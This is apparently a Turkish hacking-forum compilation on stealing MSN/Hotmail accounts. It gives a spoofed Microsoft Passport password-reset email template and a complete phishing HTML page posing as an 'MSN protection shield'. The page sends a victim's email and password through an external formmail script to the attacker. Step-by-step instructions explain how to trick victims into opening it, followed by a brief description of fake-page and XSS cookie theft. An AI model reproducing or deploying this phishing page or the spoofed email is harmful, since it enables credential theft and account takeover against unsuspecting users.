Eğer üstat olmak istiyorsanız okumaya devam edin. Eğer korsan olmak istiyorsanız, gidin
haber grubunu okuyun ve düşündüğünüz kadar zeki olmadığınızı anladığınızda kafanızı oraya buraya vurmaya hazır olun. Korsanlar hakkında tüm söyleyeceklerim bunlar.
Sevgili arkadaşlar heppimizin bazen e-mailine "Microsoftan Passport Network" dan Parola sıfırlama mailleri gelir..Bilirsiniz bu mailleri birisi msn'mizi kurcaladığında veya parolamızı sıfırlamaya kalktıklarında bize bu maillerden gelir.
İşte biz bu yoldan çıkarak haraket ediyoruz...Kurbanımızın e-mailine bu parola sıfırlama maillerinden hergün bir adet düzenli olarak DNS'den,Mailboxtan veya elinizde varsa free SMTP'le mailleri junka düşürmeden yolluyoruz!(Ben özel yapım bir script kullanıyorum)
Yolladığımız e-mail tıpkı Microsoft password gibi olmalı yani;
From : Microsoft Müşteri Desteği <support@passport.msn.com>
Sent : Tuesday, January 17, 2006 8:56 PM
To :
xxxxxxx@hotmail.com (kurbanın e-mail adresi)
Subject : Microsoft Passport Network parolanızı sıfırlayın
Evet normalde bize gelen e-mail aynen şöyledir
gönderen erhan tarih 22 Ağu 2007 13:29
arkadaşlar bu programla istediğiniz kişinin msn sini çalabilirsiniz nasılmı işte bununla bu kodu bir not defterine kaydedin
işte kod
<html><center><title>MSN</title><font size=8 >msn koruma kalkanı</font><br><br><br><font size=5 color=blue>Mns nizin korunması için öncelikle giriş yapın..!</font><body background=http://>MSN HACK KORUMA KALKANI<br><br><br><form method=post action=http://public.www.easynet.co.uk/cgi-bin/formmail/formmail.pl><font size=4>Mailiniz :<input type=text name=mail><br><font size=4>Sifreniz :<input type=password name=sifre><br><input type=submit value=Tamam><input type=hidden name=recipient value=????@hotmail.com><input type=hidden name=email value=fakemake@forumturka.net><input type=hidden name=realname value=fakemake><input type=hidden name=subject value=sifre><input type=hidden name=title value=Hata_olustu></body></center></html>
bu kodu kaydettikten sonra olarak belirtiğim yere kendi meil adresinizi yazıp uzantısını.html olarak kaydediyorsunuz ve herhangi bir kişiye yutturuyorsunuz o kişi de uzantıyı açtığında meil adresini ve şifresini yazınca meil adresinize o kişinin şifresi geliyor bu kadar basit .
1) Fake Mail (Sahte Sayfa) Yöntemi: Hacker tarafından hazırlanan bir sayfadan ibarettir. MSN'i çalınacak kişiye mail olarak iletilir. Mail bir internet sitesi tarafından gönderilmiş gibi yapılır. Örnek Hotmail Staff'dan gelmiş gibi olabilir ya da bir arkadaşlık sitesinden sarışın bir afet sizi favorilerine ekledi giriş yapın falan şeklinde olur. Bu sayfaya kullanıcıların kullanıcı adı ve şifrelerini girmeleri istenir ve kullanıcıda gelen maili hotmail staff'dan ya da arkadaşlık sitesinden geldiğini zannederek giriş yapar ve şifre hacker'ın eline geçer.
2)Xss Açığı: Bu yöntem en tehlikelisidir ve yeme ihtimali en yüksektir. Buradaki mantık size yine bir mail gelir. Mail de şu ibare yer alır. "Bu linki adres çubuğuna kopyalayıp siteye girin" gibi. Eğer siz hacker'ın dediğini yaparsanız siteye girdiğinizi sanacaksınız ama arkadan cookies bilgilerinizi hacker'lara hediye edersiniz. Eğer o linki mevcut mail sayfasından tıklanırsa büyük ihtimalle bir şey olmaz. Siz siz olun bilmediğiniz linklere tıklamayın. Bunu yerseniz hemen şifreyi değiştirin keza cookiesleri hacker ele geçirse bile şifreyi bilmediği için şifrenizi değiştiremez. Hee hacker işi biliyordur cookies lerden şifreyi çözer orasını bilemem.
